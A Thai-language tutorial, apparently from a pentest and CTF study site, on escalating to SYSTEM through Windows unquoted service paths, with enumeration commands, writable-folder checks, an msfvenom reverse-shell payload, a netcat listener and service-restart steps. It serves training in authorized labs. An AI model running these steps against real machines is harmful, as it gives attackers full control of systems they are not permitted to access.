คลัง
windows-privesc

Unquoted Service Path

Unquoted Service Path เป็นช่องโหว่ที่ service path มีช่องว่างแต่ไม่มี quote ทำให้ Windows ลองรันไฟล์ตามลำดับ space — ถ้าเราวาง exe ที่ path ก่อนหน้าได้ ก็รันแทนเป็น SYSTEM บทนี้ลงลึกกลไกการ parse path, การหา, การตรวจ writable, และ exploit (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)

Intermediate#unquoted-path#windows#privesc#service#spaces#ctf

1. หลักการ — Windows parse path

เมื่อ service path มีช่องว่างและไม่มี quote เช่น C:\Program Files\My App\service.exe Windows ไม่รู้ว่าช่องว่างเป็นส่วนของชื่อ folder หรือคั่น argument จึงลองรันตามลำดับ: C:\Program.exeC:\Program Files\My.exeC:\Program Files\My App\service.exe ถ้าเราวาง exe ที่ path ก่อนหน้าได้ (เช่น C:\Program Files\My.exe) Windows รันตัวนั้นก่อน — และเพราะ service รันเป็น SYSTEM, exe ของเราก็รันเป็น SYSTEM

ลำดับที่ Windows ลองรัน (unquoted + spaces)
path: C:\Program Files\My App\service.exe (ไม่มี quote) 1. C:\Program.exe ← ลองก่อน (วางตรงนี้?) 2. C:\Program Files\My.exe ← writable? วาง payload 3. ...\My App\service.exe ← ตัวจริง (ถ้าไม่เจอข้างบน) วาง exe ที่ path ก่อนหน้าที่เขียนได้ → รันแทนเป็น SYSTEM
เนื้อหานี้เพื่อฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab, pentest) เท่านั้น

2. หา unquoted service path

หา service ที่ path ไม่มี quote + มีช่องว่างWindows
# หา unquoted path ที่มีช่องว่าง (ไม่อยู่ใน System32)
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
# (กรอง: ไม่ใช่ Windows folder, ไม่มี quote)

# PowerShell
Get-WmiObject win32_service | Where-Object {
  $_.PathName -notmatch '"' -and $_.PathName -match ' ' -and $_.PathName -notmatch 'C:\\Windows'
} | Select Name, PathName, StartMode

# PowerUp ตรวจอัตโนมัติ
Invoke-AllChecks   # มี check unquoted path
หา path ที่มีช่องว่าง + ไม่มี quote + ไม่ใช่ Windows folder; PowerUp ตรวจให้

3. ตรวจ writable + exploit

หา folder ที่เขียนได้ในเส้นทาง + วาง payloadWindows
# สมมติ path: C:\Program Files\Vuln Service\service.exe
# ตรวจว่าเขียน folder ไหนในเส้นทางได้
accesschk.exe -uwdq "C:\"
accesschk.exe -uwdq "C:\Program Files\"
accesschk.exe -uwdq "C:\Program Files\Vuln Service\"
# หา folder ที่ user/Everyone มี Write

# ถ้า C:\Program Files\ เขียนได้ → วาง exe ชื่อ "Vuln.exe"
# (Windows ลองรัน C:\Program Files\Vuln.exe ก่อนตัวจริง)
copy payload.exe "C:\Program Files\Vuln.exe"
# payload = เพิ่ม admin / reverse shell

# restart service (หรือรอ/reboot) → payload รันเป็น SYSTEM
sc stop "ServiceName" & sc start "ServiceName"
net localgroup administrators
ชื่อ exe = คำแรกก่อนช่องว่างของ folder ที่เขียนได้ (เช่น Vuln.exe สำหรับ 'Vuln Service'); restart → SYSTEM

4. Quick Reference

  • path มีช่องว่าง + ไม่มี quote → Windows ลองรันตามลำดับ space
  • หา: wmic service get name,pathname | findstr (ไม่มี quote+มี space)
  • PowerUp Invoke-AllChecks ตรวจให้
  • ตรวจ writable: accesschk -uwdq แต่ละ folder ในเส้นทาง
  • วาง exe ชื่อ=คำแรกก่อน space ของ folder ที่เขียนได้
  • restart service → payload รันเป็น SYSTEM

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติ enum เจอ service ที่ path มีช่องว่างและไม่มี quote มีแค่ Kali ทำตามนี้ทีละขั้น

  1. 1รัน winPEAS หรือ PowerUp Invoke-AllChecks ก่อน ดูว่ามี unquoted path เตือนไหม
  2. 2ถ้าไม่ชัด เช็คเอง: wmic service get name,pathname,startmode | findstr /i /v "C:\Windows" มองหา path ที่มีช่องว่างและไม่มี quote
  3. 3สมมติเจอ service path C:\Program Files\Vuln Service\service.exe — เขียนไว้ว่ามีกี่จุดที่ Windows จะลองรันตามลำดับ space
  4. 4ตรวจว่า folder ไหนใน path นั้นเขียนได้: accesschk.exe -uwdq "C:\Program Files\" และ accesschk.exe -uwdq "C:\Program Files\Vuln Service\"
  5. 5ถ้าเจอ folder เขียนได้ กลับไป Kali สร้าง payload: msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=4444 -f exe -o Vuln.exe
  6. 6เปิด listener: nc -lvnp 4444
  7. 7ส่ง Vuln.exe เข้าไปวางตรง path ที่ writable: copy Vuln.exe "C:\Program Files\Vuln.exe"
  8. 8restart service เพื่อ trigger: sc stop "VulnService" & sc start "VulnService" (หรือรอ reboot ถ้าไม่มีสิทธิ์)
  9. 9เช็ค listener ว่าได้ shell กลับมาไหม แล้ว whoami ต้องเป็น SYSTEM
  10. 10ถ้าไม่มี folder ไหนเขียนได้เลย ให้ไปเช็ค weak service permission หรือ DLL hijacking ของ service นั้นแทน
ตัดสินใจ: unquoted path ใช้ privesc ได้ไหม
รัน winPEAS/PowerUp เช็ค unquoted path
เจอ service path มีช่องว่าง+ไม่มี quote ไหม?
❌ ไม่เจอ→ ไปเช็ค weak service permission แทน
✅ เจอ→ ตรวจ folder ไหนเขียนได้
accesschk -uwdq ทีละ folder ในเส้นทาง
มี folder ไหนเขียนได้ไหม?
❌ เขียนไม่ได้เลย→ ตันในแนวนี้ ไปเช็ค service/DLL hijack แทน
✅ เขียนได้→ วาง payload ชื่อคำแรกก่อน space
copy payload.exe ไปยัง path ที่เขียนได้ แล้ว restart service
ได้ shell/SYSTEM กลับมาไหม?
✅ ได้→ สำเร็จ ยกระดับเป็น SYSTEM
❌ ไม่ได้ (ไม่มีสิทธิ์ restart)→ รอ reboot หรือ trigger อื่น
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
enum service path ผิดwinPEAS / PowerUp.ps1-winpeas (GitHub release PEASS-ng)
list service+path เองwmic / sc / PowerShell--
ตรวจ writable folderaccesschk.exe / icacls--
สร้าง payload exemsfvenom-revshells.com
ส่งไฟล์เข้าเป้าหมายpython3 -m http.server--
restart/trigger servicesc (มากับ Windows)--
🚑 ถ้าตันสนิท ลองท่าถัดไป: Win Services (weak binPath permission), DLL Hijacking (ถ้า service โหลด DLL หาย), Scheduled Tasks, Token Abuse (ถ้าเป็น service account ที่มี SeImpersonate)

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้